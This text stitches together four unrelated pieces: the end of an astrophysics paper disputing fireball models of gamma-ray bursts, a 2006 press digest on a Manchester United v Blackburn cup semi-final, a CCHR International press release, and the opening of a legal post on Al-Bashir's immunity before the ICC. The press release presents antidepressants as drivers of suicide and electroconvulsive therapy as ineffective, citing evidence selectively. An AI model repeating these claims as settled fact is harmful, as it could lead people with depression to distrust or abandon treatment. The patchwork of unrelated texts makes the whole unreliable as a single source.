The fluence of GRB 970508 was $\geq 10^{52}erg $ in the 0.04-2.0 $MeV$ alone, assuming isotropic emission. If hundred times brighter GRBs, like GRB 970616, have redshifts similar to that of GRB 970508, their fluences must be $\sim 10^{54}~erg$ for isotropic emission. It also cannot be supplied by mergers/AIC of compact stellar objects.
Absence of Simple Scaling
-------------------------
Relativistic blast wave models predict that GRB afterglows are scaled by powers of their basic parameters: total energy E, initial Lorentz factor $\Gamma$, surrounding gas density $n$, and distance $D$. However, GRBs 970111, 970228, 970402, 970508, 970616, 970828 and 971214 exhibited unscaled behavior and very different spectral properties (for the X-ray observations see Costa et al. 1997; Piro et al., 1997; Castro-Tirado et al 1977; Feroci et al 1977; Heise et al. 1997; Odewahn 1997; Frontera et al 1997; for optical observations see the compilation in Reichart 1997; Sahu et al 1997b; Pedersen et al 1997; and Halpern et al. 1997; A. Diercks et al. 1997; for radio observations see Frail et al 1997b and references therein). For instance, GRB 970111 and GRB 970828 had $\gamma$-ray fluences $\sim$ 25 times larger than GRB 970228 but their afterglow were not detected in X-rays, in the optical band and in the radio band (e.g., Groot et al. 1997b; Frontera et al. 1997). The upper bound on the optical peak response of GRB 970828 was $\sim 10^2,~10^3$ smaller than that of GRB 970228 and GRB 970508, respectively (Groot et al 1997b). GRB 970508 was 6 times weaker in $\gamma$-rays than GRB 970228 (Kouveliotou et al 1997, Hurley et al 1977) but 6 times brighter in the optical band (see, e.g., Sahu et al 1977b and references therein). Such spectral variability is observed in the afterglows of gamma ray flares from extragalactic relativistic jets of blazars and also in flares from galactic relativistic jets of microquasars (galactic superluminal sources) such as GRS 1915+105 (Mirabel and Rodriguez 1994) and GRO J1655-40 (Tingay et al. 1995).
Firecone Rescue?
----------------
The radiated energy of GRB 970228 during the afterglow in the 2-10 keV window alone was about 40% of the energy in the gamma burst itself in the 40-700 keV band (Costa et al. 1997). For such a fast cooling, energy-momentum conservation requires $\gamma\sim r^{-3}$, instead of $\gamma\sim r^{-3/2}$ for a slow cooling, which was used to derive the $\sim t^{-3(p-1)/4}$ fading of the X-ray and optical afterglows (Wijers et al. 1997) of GRBs. Also the relation between observer time, emissiom radius and Lorentz factor which was used is not correct. Thus, the only successful prediction of the afterglow model is also in doubt. Moreover, the duration (in months) of the initial power-law fading of the afterglow (thin radiative shell, $i=1$, $\alpha_1\approx 4)$ which last until $\gamma(R)\approx 2$ is $$t_m\approx 1.85 E_{52} ^{1/3}[(1+z)/i^{2/3}\alpha_in^{1/3}]~months,$$ where $E_K=10^{52}E_{52}~erg$ and $n$ in $cm^{-3}$. This short cooling time is already in conflict with the observed $\sim t^{-1.1}$ fading of the afterglow of GRB 970228 over 6 months (Fruchter et al. 1997) if $[E_{52}/n]^{-1/3}\leq 1$, both for thin/radiative and thick/adiabatic shells. Note that GRBs 970228 and 970508 appear within the optical luminous part of the faint host galaxy (Sahu et al. 1997, Fruchter 1997, Metzger et al 1997, Djorgovski et al 1997) where one expects $n\sim 1$. Conical fireballs (“firecones”) with opening angles $\theta_c>1/\Gamma$ and solid angles smaller by $\theta_c^2/4$, can reduce the estimated total energy in $\gamma$-rays and X-rays by a factor $\sim \theta_c^2/4$. As long as $\theta_c>1/\gamma$, fireballs and firecones look alike for observer near the axis of the firecone. But, when $\gamma\theta_c<1$, the beaming efficiency decreases by $\gamma^2\theta_c^2$ and the $\sim
t^{-1.1}$ fading of the optical afterglow is accelerated by a factor $\gamma^2\sim t^{-6/(6+i)}=t^{-3/4}$, for thick/adiabatic conical shell. Such a change has not been observed yet in the afterglow of GRB 970228, implying that after six months $\gamma\theta_c>2$. Therefor, firecones cannot solve (by additional factors $<4,~4^{1/3}$ on the r.h.s. of eqs. 6 and 7 , respectively) the energy crisis or explain the uniform power law fading of GRB 970228 for over six months. It can be shown easily that the crisis is larger for observers with larger viewing angles with respect to the firecone axis.
Short Time Variability
======================
Even if the energy crisis in GRBs and the non-universality of their afterglows could have been avoided by assuming firecones, i.e. conical shells instead of relativisticly expanding spherical shells, neither firecones nor fireballs can explain subsecond variability in GRBs that last for tens or hundreds of seconds. First, a variable central engine must be fine tuned to arrange for shells to collide only after a distance where the produced $\gamma$-rays are not reabsorbed, which is larger by more than 10 orders of magnitude than the size of the central engine (Shaviv, 1996). Second, even with fine tuning of the central engine, the transverse size of the emitting area whose radiation is beamed towards the observer, $r\theta \leq r/\Gamma$ where $\Gamma\approx \gamma(0)$, implies variability on time scales (e.g., Shaviv 1996; Fenimore 1996) $$\Delta t\sim r\theta^2/2c\approx r/2c\Gamma^2\sim T_{GRB},$$ i.e., comparable to the total duration of the GRB. It is in conflict with the observed short time variability of GRBs. Even GRBs that last more than $100~ s$, show a variability on subsecond time scales, (e.g., Fishman and Meegan 1995). Local instabilities are not efficient enough in producing high intensity pulses.
Extended GeV Emission
---------------------
The initial Lorentz factor of a relativisticly expanding fireball, which sweeps up ambient matter, decays rather fastly ($t\sim T_{GRB}$) as its energy is shared by the swept up matter. It cannot explain emission of multi GeV $\gamma$-rays, which is extended over hours (in the observer frame) with an energy fluence similar to that in the keV/MeV GRB, as observed in GRB 910503 (Dingus et al. 1994) and in GRB 940217 (Hurley et al. 1994). Note in particular that inverse Compton scattering of GRB photons or external photons by the decelerating debris is not efficient enough in producing the observed extended emission of GeV photons. Also it cannot explain MeV $\gamma$-ray emission that extends over 2 days, which, perhaps, was the case if the cluster of four GRBs (Meegan et al. 1996; Connaughton et al. 1997) were a single GRB.
GRBS FROM ACCRETION JETS
========================
Highly collimated relativistic jets seem to be emitted by all astrophysical systems where mass is accreted at a high rate from a disk onto a central (rotating?) black hole. They are observed in galactic and extragalactic superluminal radio sources, like the galactic microquasars GRS 1915+105 (Mirabel and Rodriguez 1994) and GRO J1655-40 (Tingay et al. 1995) and in many extragalactic blazars where mass is accreted onto, respectively, stellar and supermassive rotating black holes. They produce $\gamma$-ray flares with afterglows in the X-ray, optical and radio bands which rise fastly and decline with time like a power-law and have a non-thermal power-law spectra and hardness which is correlated with intensity. Highly relativistic jets probably are ejected also in the violent merger/AIC death of close binary systems containing compact stellar objects. Such jets which are pointing in our direction can produce the cosmological GRBs and their afterglows (Dar 1997b,c). Jetting the ejecta in merger/AIC of compact stellar objects can solve the energy crisis of GRBs by reducing the total inferred energy release in GRBs by the beaming factor $f=\Delta\Omega/4\pi$, where $\Delta\Omega$ is the solid angle into which the emission is beamed. In fact, in order to match the observed GRB rate (e.g. Fishman and Meegan 1995) and the currently best estimates of the NS-NS merger rate in the Universe (e.g. Lipunov et al. 1997) solid angles $\Delta\Omega\sim 10^{-2}$ are required. Such solid angles are typical of superluminal jets from Blazars. The estimated rate of AIC of white dwarfs and neutron stars is much higher, $\sim 1$ per second in the Universe compared with $\sim 1$ per minute for NS-NS mergers. If GRBs are produced by accretion induced collapse of white dwarfs and neutron stars (e.g., Goodman et al 1987; Dar et al 1992), then $\Delta\Omega\sim 10^{-4}$.
The FeII and MgII absorption lines and OII emission lines at redshift z=0.835 in the afterglow of GRB 970508 seems to indicate that GRBs are produced in dense stellar regions, e.g. star burst regions. Boosting of stellar light by superluminal jets from merger/AIC in dense stellar regions (with typical size $R\approx 10^{18}\times R_{18}~cm$ and photon column density $N_\gamma=N_{23}\times 10^{23}~cm^{-2}$) has been proposed by Shaviv and Dar (1995; 1997) as the origin of GRBs. It can explain quite naturally the fluence, typical energy, duration distribution, light curves, spectral evolution and afterglows of GRBs. Due to space limitation, here we only demonstrate that it solves the main difficulties of the fireball/firecone models: If the ejected jet (blobs) has an initial kinetic energy $E_k=E_{52}\times 10^{52}~erg$, a Lorentz factor $\Gamma=\Gamma_3\times 10^3$, and a cross section $S_j\approx\pi R_j^2=\pi
R_{j16}^2\times 10^{32}~cm^2 $ which after initial expansion remains constant due to magnetic confinement, then:
\(a) The photon fluence at a distance $D=D_{28}\times10^{28}~cm$ due to photo absorption/emission by partially ionized heavy atoms (Shaviv 1996) in the jet ($\sigma_a=\sigma_{18}\times
10^{-18}~cm^2$) is $$I_\gamma\approx {\eta E_k\sigma_{T} N_\gamma\over \Gamma m_p c^2
D^2\Delta\Omega} =7\times {\eta_2E_{52}\sigma_{18}N_{23}\over
D_{28}^2\Gamma_3\Delta\Omega_2}~\gamma~cm^{-2},$$ where $\eta=\eta_2\times 10^{-2}$ is the fraction of heavy atoms in the jet (we assume a cosmic ray composition).
\(b) The typical energy of the emitted (Lorentz boosted) photons and the energy fluence in the observer frame are, respectively, $$E_\gamma\approx {\Gamma_3^2\epsilon_{eV}\over(1+z)}~MeV,$$ where $\epsilon=\epsilon_{eV}\times eV$ is the typical energy of stellar photons, and $$F_\gamma\approx I_\gamma E_\gamma\approx 10^{-5}\times
{\eta_2E_{52}\sigma_{18}N_{23}\Gamma_3\epsilon_{eV} \over (1+z)
D_{28}^2\Delta\Omega_2}~ erg~cm^{-2}.$$ (c) The typical duration of GRBs and the duration of individual pulses from boosting starlight of bright stars are given, respectively, by $$T_{GRB}\approx {R\over c\Gamma^2}=30 R_{18}\Gamma_3^{-2}~s,~and~~
T_p\approx {R_j\over c\Gamma^2}=0.30 R_{j16}\Gamma_3^{-2}~s.$$ The bimodality of the duration distribution og GRBs (e.g., Fishman and Meegan 1995) has a simple statistical origin (Shaviv and Dar 1997).
\(d) Due to energy-momentum conservation, an ejected jet (blob) with a an initial kinetic energy $E_k$, bulk-motion Lorentz factor $\Gamma$ and constant cross section $S_j$ is decelerated by the swept up interstellar matter according to $\gamma=\Gamma/(1+R/R_0)$, or $R=R_0(\Gamma/\gamma-1)$, where $R$ is its propagation distance in the interstellar medium and $R_0=E_k/nm_pc^2\Gamma S_j$. The electrons in the ejecta and the swept up interstellar matter whose total mass increases like $M\sim
1/\gamma$ are accelerated by the jet to a power-law spectrum in the jet rest frame. They emit synchrotron radiation with a power-law spectrum $\nu'dn/d\nu'
\sim \nu'^{-(p-1)/2}$ with intensity proportional to their number and to the magnetic energy density. For an observer within the beaming cone, this synchrotron emission is Lorentz boosted and collimated according to eq. 2, i.e., it is amplified by a factor $A\sim
\gamma^{3+(p-1)/2}$. Thus, an observer within the beaming cone sees a synchrotron afterglow with intensity $I_{\nu}\sim AB^2M(dt'/dt)$. Since $dt=dt'/2\gamma$ and $t=\int
dR/2\gamma^{-2}=(R_0/6c\Gamma^2)[(\Gamma/\gamma)^{-3}-1]$, one obtains for $p=2.5\pm 0.5$ that $$I_\nu\sim \gamma^{3+(p-1)/2} \sim (t+t_0)^{-1.25\pm 0.08}$$ where $t_0=R_0/6c\Gamma^2\approx (E_{52}/n\Gamma_3^3R_{j16}^2)\times
100~s$. Initial expansion of the ejecta, changes in opacity within the jet and along the trajectory of the emitted radiation, and viewing angle effects due to the change in the beaming angle, can produce complex time and wavelength dependences of the afterglow in the initial phase. Moreover, absorption of optical photons, UV photons and X-rays by the interstellar gas and dust around the burst location depends strongly on energy. Gas Column densities $N_{H}\geq 10^{22}~cm^{-2}$, which are also required by the detection of GeV emission from bright GRBs (see below), can explain why some GRBs afterglows which were detected in $X$ rays were not detected also in the optical band. If this explanation for the suppression of optical afterglows of GRBs is correct, then X-ray afterglows of GRBs which are not accompanied by optical afterglows must show harder X-ray spectra than those of GRBs with optical afterglows. Such GRBs must also be accompanied by strong emission of GeV photons.
Inhomogeneous ISM and jet instabilities can modify the late time behavior of the afterglows. For instance, if the jet is deflected by a stellar or interstellar magnetic field, the afterglow may disappear suddenly from the field of view (collisions and deflection of jets on scales 10-100 pc were observed in AGN, e.g., Mantovani et al. 1997).
\(e) The high column density of gas in star forming regions, $N_{H}=N_{23}\times 10^{23}~cm^{-2}$, with $N_{23}\geq 1$, provides an efficient target for hadronic production of high energy photons via $pp\rightarrow \pi^0 X$ followed by the prompt $\pi^0\rightarrow 2\gamma$ decay. A power-law proton spectrum produces a power-law photon spectrum with the same power index and efficiency (e.g., Dar 1997) $g\sigma_{in}N_{H}$ where $g=10^{-1}\times g_1
=0.195exp[-3.84(p-2)+1.220(p-2)^2]$ and $\sigma_{in}\approx 3\times
10^{-26}~cm^2$ is the $pp$ inelastic cross section. Consequently, GRBs in star forming regions are accompanied by emission of a power-law spectrum of high energy photons with a total fluence $$F(>100~MeV) \approx {E_{52}g_1N_{23}\over D_{28}^2\Delta\Omega_2}{3\over 1+z}
\times 10^{-6} erg~cm^{-2},$$ comparable to the GRB fluence in MeV $\gamma$ rays. This is consistent with the detection of GeV photons by the EGRET instrument on board the Compton Gamma Ray Observatory from a handful of bright bursts (see, e.g., Dingus 1995). Given the EGRET sensitivity and limited field of view, the detection rate implies that high energy emission may accompany most GRBs.
Finally, significant hadronic production of gamma rays with energy $\sim
18~ GeV$, as observed in GRB 940217, requires incident proton energies $\sim 6$ times larger, i.e., that $\gamma>115$. Consequently, the effective duration of emission of such photons is $$t(E_\gamma<18 GeV)\approx {R_0\over 6c\gamma^2}\approx
{E_{52}\over n\Gamma_3R_{j16}^2}\times 2.5h,$$ which is consistent with the EGRET/CGRO observations (Hurley 1994).
CONCLUSIONS
===========
The observed properties of GRBs and their afterglows, in particular that of GRB 970228 six months later, seem to rule out relativistic fireballs and firecones powered by mergers/AIC of compact stellar objects within galaxies as the origin of GRBs. In spite of their flexibility and multitude of free parameters, the simple fireball and firecone models of GRBs appear not to be able to explain the total energy of GRBs, nor to explain the enormous diversity of GRBs, their short time scale (subsecond) variability, their spectral evolution, the delayed emission of MeV and GeV $\gamma$-rays in some GRBs, and the spectral versatility of GRB afterglows. In order to solve these problems, the single relativistic spherical shell which expands into a uniform medium must be replaced by a fine tuned series of asymmetric shells (conical ejecta) which expand into a nonuniform medium (e.g., Meszaros et al 1997). This adds many new parameters to the “fireball” model which can be adjusted to fit any GRB and rescue the model. However, this increased flexibility through a multitude of new adjustable parameters makes the modified relativistic fireball/firecone models too flexible, without predictive power and unfalsifyable, and therefor scientifically unacceptable. However, if the relativistic ejecta in merger/AIC of compact stellar objects is collimated into highly relativistic jets, most of the problems of the spherical fireball models can be avoided and the general properties of GRBs and their afterglows can be explained quite naturally using the observed properties of superluminal jets from blazars and microquasars. In particular, if GRBs are produced by highly relativistic jets which are pointing in our direction they should show superluminal motions with speeds $v\leq \Gamma c$. Such supeluminal motions may be detected in long term (months) VLBI observations of radio afterglows of GRBs (see, e.g., Taylor et al. 1997).
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BROADSHEET/COMPACT PRESSBOX
Last updated : 26 January 2006 By Ed
THE GUARDIAN
Edwin van der Sar's duties extended well beyond goalkeeping on the night Sir Alex Ferguson's team booked a Carling Cup final against Wigan Athletic. Both clubs should be grateful for Manchester United's goalkeeper preventing television cameras filming the disorder that took place inside the tunnel at half-time, with Robbie Savage inevitably at the epicentre.
The absence of any incriminating evidence will leave the Old Trafford crowd - and the Football Association - with little but educated guesswork about the clashes. After Rio Ferdinand deliberately barged into Savage, the Blackburn midfielder pursued him down the tunnel, followed by nearly every other player plus the substitutes, several coaches and every steward in the vicinity.
The stampede was reminiscent of Turkey's World Cup qualifier against Switzerland in November, except nobody had the presence of mind in Istanbul to block out the cameras. A fractious night extended to the post-match interviews, with Blackburn's manager Mark Hughes complaining bitterly about Graham Poll. "Some referees enjoy the celebrity status a bit too much," he said. "I think Graham Poll was under the impression that 61,000 people came here to see him."
His anger stemmed from Poll's decision to award a 42nd-minute penalty after Ruud van Nistelrooy flicked the ball against Zurab Khizanishvili's hand. The excellent Brad Friedel saved Van Nistelrooy's effort but Hughes was still smouldering with injustice at the end, not least because Ferdinand had escaped punishment for a carbon-copy incident. "There were decisions like that all night," he said. "There needed to be a balance but we never got that and we're very upset."
But when the dust settled Sir Alex Ferguson was entitled to say the better side had won over the two legs. These are strange times when the Carling Cup is regarded at Old Trafford with dewy-eyed fondness. To Ferguson it used to be a nuisance in an already congested fixture list. These days he cannot be so choosy and there was jubilation at the final whistle. Out of the Champions League before most people had finished their Christmas shopping and 14 points adrift in the Premiership, he will need a trophy if he is to get a favourable end-of-season verdict from the Glazers. He will get his chance in Cardiff on February 26. "We deserve to go through," he said. "Blackburn made us work hard and they made the referee work hand, but we got there and I'm delighted."
THE INDEPENDENT
Wild celebrations greeted another slender Manchester United victory at Old Trafford last night although this time Gary Neville was a model of decorum as the home supporters and Sir Alex Ferguson reacted to confirmation of a place in the Carling Cup Final as though their futures rested on it. In many respects, of course, it did.
The elevation of the Carling Cup in United's list of priorities emphasises the diminishing returns for Ferguson, but having heralded the competition as "a great opportunity to mark this season as a successful one" the performance of his team against a Blackburn Rovers side low on strikers but high on endeavour proved the 64-year-old Scot still has the capacity to leave his players hanging on his every word. United shone only in parts yet fought for the right to face Wigan in the all-Lancashire final throughout the semi-final second leg, though perhaps too literally during the interval.
While goals from Ruud Van Nistelrooy and Louis Saha secured their date at the Millennium Stadium, several of their players, notably Rio Ferdinand, could be set for an appearance before the FA's disciplinary committee after an alleged brawl involving, surprise, surprise, Blackburn's Robbie Savage on the way down the Old Trafford tunnel. Though both managers attempted to downplay the incident afterwards, and in fairness they were still out on the pitch while every outfield player sprinted to take part in a melée witnessed by hundreds of supporters, the sight of two shadow-boxing ball-boys near the entrance to the dressing rooms gave the game away.
"As he was on his way to the dressing room, Rio clipped Robbie," said the Rovers manager Mark Hughes. "I don't know why he did it, but there was no need. Robbie then asked him why he had done it and everyone else ran in just to make sure nothing happened." Television evidence, which was not replayed by Sky, could yet prove if that was the case. Should the FA launch an investigation into what occurred, then it should not overlook the contribution of referee Graham Poll towards the simmering passions of the players, especially those of a Blackburn hue.
The Tring official harshly penalised Zurab Khizanishvili for deliberate handball inside his own penalty area two minutes before the break, and then allowed Ferdinand to escape with a similar offence in the second half, but it was the decision not to punish Van Nistelrooy for venting the frustration of seeing his spot-kick saved by Brad Friedel on the heels of Steven Reid and into the back of Savage that left the visitors enraged.
THE TIMES
Long gone are the days when Manchester United could afford to treat the League Cup with disdain. On the pitch and in the stands they celebrated their passage to the final against Wigan Athletic on February 26 with a zeal that they once reserved for Europe.
In these impoverished times, Sir Alex Ferguson will take any trophy he can get his hands on and so will his players, to judge from their approach throughout a fiercely contested semi- final tie that almost boiled over when Rio Ferdinand and Robbie Savage clashed in the Old Trafford tunnel at half-time.
A classic cover-up operation meant that reports of the incident were sketchy, with the gestures of an excitable ball-boy about the only indication that any punches had been thrown, but the decisive blow on the pitch came from Louis Saha, who scored his fifth goal in the competition this season early in the second half.
Earlier, Ruud van Nistelrooy had restored United’s aggregate lead and had a penalty saved by the excellent Brad Friedel. Blackburn worked hard, but, missing the injured Craig Bellamy, they lacked quality in attack and had only a goal from Steven Reid to show for their efforts.
Over the two legs, United did enough to merit their place at the Millennium Stadium and would have won comfortably but for the heroics of Friedel in the Blackburn goal.
As against Liverpool on Sunday, they ultimately made light of a shortage of quantity as well as quality in midfield, Ryan Giggs having limped off after 13 minutes with a hamstring injury. Ferguson knows that the present position, with Paul Scholes, John O’Shea and Quinton Fortune out, is not tenable and he hinted at signing a midfield player on loan, with the latest targets rumoured to be Johan Vogel, of AC Milan, as well as Thomas Gravesen, of Real Madrid.
THE TELEGRAPH
On a Burns Night as fiery as any whisky from the Western Isles, the country's most famous Scot, Gordon Brown included, steered Manchester United to the 13th final of his reign.
These days League Cups are no mere trinkets at Old Trafford and last night Sir Alex Ferguson saw Manchester United deliver an impassioned display that, but for Brad Friedel's brilliance, would have seen them settle matters long before the final whistle. They had too much pace and too much skill for a hard-working but essentially leaden Blackburn side crucially deprived of Craig Bellamy.
Sometimes, as when Rio Ferdinand and Robbie Savage clashed in the tunnel during the interval, there was a surfeit of emotion but if the Wigan chairman, Dave Whelan, did not receive the final with his former club, Blackburn, he dreamed of, then one against Manchester United would serve almost as well.
For Hughes, the night's great irony was that having produced a series of remarkable saves to keep United at bay, including from a penalty, Friedel should have conceded the second to what was essentially a miskick from Louis Saha.
It was quite an eventful first half for Ruud van Nistelrooy, who scored, missed a penalty and was possibly fortunate to be on the pitch for the second half, having flattened Steven Reid with one tackle and pushed Savage to the floor, which began the sequence of events that led to the tunnel brawl. When he returned after the interval, the Dutchman produced a header from six yards that forced Brad Friedel into one of the saves of the season, reacting brilliantly to push it clear.
Savage, who had put Wayne Rooney in a headlock in the first leg at Ewood Park, made rather more of Van Nistelrooy's challenge than was necessary and as he walked off with Rio Ferdinand the England defender appeared to say something and then sprinted for the dressing room. Savage, showing a rather more nifty turn of speed than he had during most of the tie, sprinted after him, followed by the rest of the teams. Thankfully, given what happened when Arsenal visited, nobody appears to have been armed with pizza. |
“An investigation is needed because the suicide rate continues to climb despite 43 million Americans taking antidepressants. The suicide doesn't have to be from a drug overdose; CCHR is looking at what chemically may contribute to a person committing self-harm.”
Celebrity suicides prompt urgency to warn of ineffective or adverse treatment effects
By CCHR International
The Mental Health Industry Watchdog
June 21, 2018
Coinciding with the recent tragic suicides of celebrities Anthony Bourdain and Kate Spade, the U.S. Centers for Disease Control and Prevention (CDC) reported the suicide rate in the U.S. jumped 30 percent from 2000 to 2016.[1] In light of such high-profile suicides, there are, naturally, calls for “more effective treatments” for depression. However, Citizens Commission on Human Rights (CCHR) International, a mental health industry watchdog, warns that these calls can include demands for more antidepressants without investigating how these and other treatments may be a potential cause of, or contributing factor in, suicides.
CCHR cited how psychiatric drug prescriptions, including sedatives, antidepressants, psycho-stimulants and antipsychotics, increased 117 percent from 1999 to 2013 and, during that same time period, the CDC had reported the suicide rate had increased 24 percent.[2] Within three years, that figure is now 30 percent. A CDC survey also found the number of Americans who took an antidepressant over the past month — despite 49 official psychiatric drug warnings of the adverse effects of self-harm, suicide or suicidal thoughts[3] — rose by 65 percent between 1999 and 2014.[4]
Fashion designer Ms. Spade was taking medication for her depression, while it’s unknown whether chef-turned-TV-host Mr. Bourdain was taking any psychotropic medication, although he was seeing a therapist in 2016 that featured in scenes of his show “Parts Unknown.” Whether or not there was a psychotropic drug involved, it should be incumbent upon health authorities in light of their tragedies, and with any suicide, to investigate if and what treatments were administered, CCHR says. This includes the potential for adverse withdrawal effects if a person stops taking psychotropic drugs, for example.
CCHR says such an investigation is needed because the suicide rate continues to climb despite 43 million Americans taking antidepressants.[5] The suicide doesn’t have to be from a drug overdose; CCHR is looking at what chemically may contribute to a person committing self-harm. Often prescribed to treat depression, a 2018 study published in Frontiers in Psychiatry concluded that “antidepressants are largely ineffective and potentially harmful.” Lead researcher Michael P. Hengartner at the Zurich University of Applied Sciences in Switzerland conducted a thorough literature review focusing on randomized, controlled trials — the gold standard of evidence-based recommendation. Hengartner cited evidence that the likelihood of relapse is also correlated with duration of treatment. That is, the more one takes an antidepressant, the likelier one is to have another episode of depression.
For those taking antidepressants under the age of 24, a black box FDA label warning of suicidal side effects from the use of antidepressants is included. But a 2016 review of clinical trial data published by the Royal Society of Medicine determined “antidepressants double the occurrence of events in adult healthy volunteers that can lead to suicide and violence.”[6]
Studies also link psychiatric drug withdrawal effects to suicide. Post-withdrawal symptoms from antidepressants “may last several months to years” and include disturbed mood, emotional lability [excessive emotional reactions and frequent mood changes] and irritability, according to a study in Psychotherapy and Psychosomatics in 2012.[7] British psychiatrist Joanna Moncrieff and others reported in The Journal of Psychoactive Drugs, “It is now accepted that all major classes of psychiatric medication produce distinctive withdrawal effects which mostly reflect their pharmacological activity.”[8]
After 30 years of the new “miracle” SSRI antidepressants, psychiatrists now say that for at least a third of those taking them, the drugs don’t “work.” In one study, psychiatrists admitted the failure rate to be as high as 46 percent. Research confirms that antidepressants may not be effective at all. In a 2014 study, Irving Kirsh, associate director of the Program in Placebo Studies at Harvard Medical School, stated, “analyses of the published data and the unpublished data that were hidden by drug companies reveals that most (if not all) of the benefits [of antidepressants] are due to the placebo effect.”[9] In February 2018, a study published in Lancet, asserting the opposite, had been conducted by researchers with strong financial ties to the pharmaceutical industry, CCHR reports. Of the 522 trials in their analysis, 409 were funded by pharmaceutical companies.
Because of antidepressant ineffectiveness, today, an antipsychotic — normally limited to treat severe psychosis or “schizophrenia”— can be prescribed as an “add-on” to the antidepressant — mindless of any adverse chemical reaction this may cause. Glen Spielmans, Ph.D., a researcher and associate professor of psychology at Metropolitan State University in St. Paul, conducted a review of 14 previous randomized clinical trials in which the combined use of an antidepressant and an antipsychotic were compared to the use of an antidepressant with a placebo. “In terms of quality of life and how well people were functioning, there was really not much evidence that these drugs did anything,” said Spielmans.[10]
A 2017 Journal of Clinical Psychiatry study found non-response rates with first- and second-line antipsychotics as high as 25% and 83%, respectively.
CCHR further warns that when these drugs not only fail but potentially worsen or harm the individual, electroconvulsive therapy — shock treatment, using up to 460 volts of electricity — is often administered.
A 2017 comprehensive review of 89 studies on electroconvulsive therapy since 2009 found none proved it effective and that maintenance ECT involved participants being on “medication” again following the ECT.[11] In one Norwegian study of 120 patients, 56 (47 percent) who were described as having shown improvement after the first ECT series suffered a relapse in the first six months. A total of 86 (72 percent) suffered a relapse after an average of 13 months. After the first ECT series, 84 patients (70 percent) received antidepressants and/or lithium, while 87 of 100 received ECT again and within another six months, 58 (67 percent) relapsed again.[12] A Review of ECT studies in 2010 and again in 2017 also reported that there was no evidence, of any kind, in support of the theory that ECT prevents suicide.[13] Thousands are supporting a petition calling for a ban on the ECT device. Click here to read and sign the petition.
Jan Eastgate, the president of CCHR International, who has twice testified before the Food and Drug Administration on this issue, said the term “treatment resistant depression” is “disingenuous and misleading, implying fault on the part of the patient or his or her ‘disease’ rather than treatment failure and damage. It’s a terrible injustice to the consumer who, desperate for relief, can give up hope, unaware of the influence a drug, withdrawal from it or electroshock may be having on their thinking.” More public information is needed, she said, which is why CCHR maintains a Psychiatric Drug Side Effects Database for people to become better informed until such time as governments investigate the correlation between treatment and suicide.
References:
[1] “The US suicide rate has increased 30% since 2000 — and it tripled for young girls,” Business Insider, 15 June 2018, https://www.msn.com/en-us/health/wellness/the-us-suicide-rate-has-increased-30-25-since-2000-e2-80-94-and-it-tripled-for-young-girls/ar-AAyCArX.
[2] “Psychiatric Medications Kill More Americans than Heroin,” Rehabs.com, 5 Jan. 2016, citing: MEPS (Medical Expenditure Panel Survey) database, https://www.rehabs.com/pro-talk-articles/psychiatric-medications-kill-more-americans-than-heroin/; Sally C. Curtin, M.A., Margaret Warner, Ph.D., and Holly Hedegaard, M.D., M.S.P.H., “Increase in Suicide in the United States, 1999-2014,” NCHS Data Brief No. 241, Apr. 2016, https://www.cdc.gov/nchs/products/databriefs/db241.htm.
[3] “Psychiatric Drugs: Create Violence & Suicide,” Citizens Commission on Human Rights International, March 2018, p. 5, https://www.cchrint.org/pdfs/violence-report.pdf.
[4] Laura A. Pratt, Ph.D., Debra J. Brody, M.P.H., and Qiuping Gu, M.D., Ph.D., “Antidepressant Use Among Persons Aged 12 and Over: United States, 2011-2014,”Centers for Disease Control and Prevention, Aug. 2017, https://www.cdc.gov/nchs/products/databriefs/db283.htm.
[5] IQVia Total Patient Tracker (TPT) Database, Year 2017, Extracted April 2018.
[6] Andreas Ø Bielefeldt, et al., “Precursors to suicidality and violence on antidepressants: systematic review of trials in adult healthy volunteers,” Journal of the Royal Society of Medicine, October 2016, Vol. 109, No. 10, p. 381, http://jrs.sagepub.com/content/109/10/381.full; Stephan Barlas, ” FDA Adds Young Adults to Black Box Warnings on Antidepressants,” Psychiatric Times, I June 2007, http://www.psychiatrictimes.com/addiction/fda-adds-young-adults-black-box-warnings-antidepressants.
[7] “Patient Online Report of Selective Serotonin Reuptake Inhibitor-Induced Persistent Post-withdrawal Anxiety and Mood Disorders,” Psychotherapy and Psychosomatics, 19 Jan. 2012, https://www.karger.com/Article/FullText/341178.
[8] Joanna Moncrieff, M.B.B.S., David Cohen and Sally Porter, “The Psychoactive Effects of Psychiatric Medication: The Elephant in the Room,” J Psychoactive Drugs, Nov. 2013; 45(5): 409-415, https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4118946/; Smitha Bhandari, “Treatment-Resistant Depression,” Web M.D., 23 June 2017, https://www.webmd.com/depression/guide/treatment-resistant-depression-what-is-treatment-resistant-depression#1.
[9] Irving Kirsch, “Antidepressants and the Placebo Effect,” NCBI, 2014, https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4172306/; The Harvard Catalyst, https://connects.catalyst.harvard.edu/profiles/display/Person/96221.
[10] Traci Pederson, “Adding Antipsychotic Meds to Antidepressant Shows Risk, Little Benefit,” Psych Central, https://psychcentral.com/news/2013/03/14/adding-antipsychotic-meds-to-antidepressants-shows-risk-little-benefit/52597.html; John Lally, James H. MacCabe, “Antipsychotic medication in schizophrenia: a review,” British Medical Bulletin, 1 June 2015, pp. 169-179, https://academic.oup.com/bmb/article/114/1/169/246291.
[11] John Read and Chelsea Arnold, “Is Electroconvulsive Therapy for Depression More Effective Than Placebo? A Systematic Review of Studies Since 2009,” Ethical Human Psychology and Psychiatry, Volume 19, Number 1, 2017, http://www.ingentaconnect.com/content/springer/ehpp/2017/00000019/00000001/art00002.
[12] Kjell Martin Moksnes, “Relapse following electroconvulsive therapy,” Tidsskr Nor Legeforen 2011; 131: 1991doi: 10.4045/tidsskr.10.1349, https://tidsskriftet.no/en/2011/10/relapse-following-electroconvulsive-therapy
[13] Op cit., John Read and Chelsea Arnold, “Is Electroconvulsive Therapy for Depression More Effective Than Placebo?” |
Does the ICC Statute Remove Immunities of State Officials in National Proceedings? Some Observations from the Drafting History of Article 27(2) of the Rome Statute
Following oral hearings held in September, the Appeals Chamber of the International Criminal Court (ICC) is currently deliberating in Jordan’s Appeal of the Pre-Trial Chamber’s decisionholding that it had failed to cooperate with the ICC by refusing to arrest and surrender Sudan’s President, Omar Al-Bashir, when he visited Jordan. Central to the determination of whether Jordan, a party to the ICC Statute, failed to comply with its obligations of cooperation under the Statute is the issue of whether Jordan was obliged to respect the immunity ratione personae that the Sudanese President would ordinarily be entitled to as a serving head of state.
